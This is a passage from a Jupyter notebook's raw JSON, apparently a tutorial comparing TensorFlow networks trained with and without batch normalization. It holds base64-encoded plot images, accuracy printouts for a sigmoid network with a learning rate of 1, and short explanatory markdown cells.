fbs\n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\nQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f2e91582828>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The higher learning rate used here allows the network with batch normalization to surpass 90% in about 30 thousand batches. The network without it never gets anywhere." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 1, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1409.45it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.896999716758728\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 534.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9569997787475586\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.8957001566886902\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9505001306533813\n" ] }, { "data": { "image/png": "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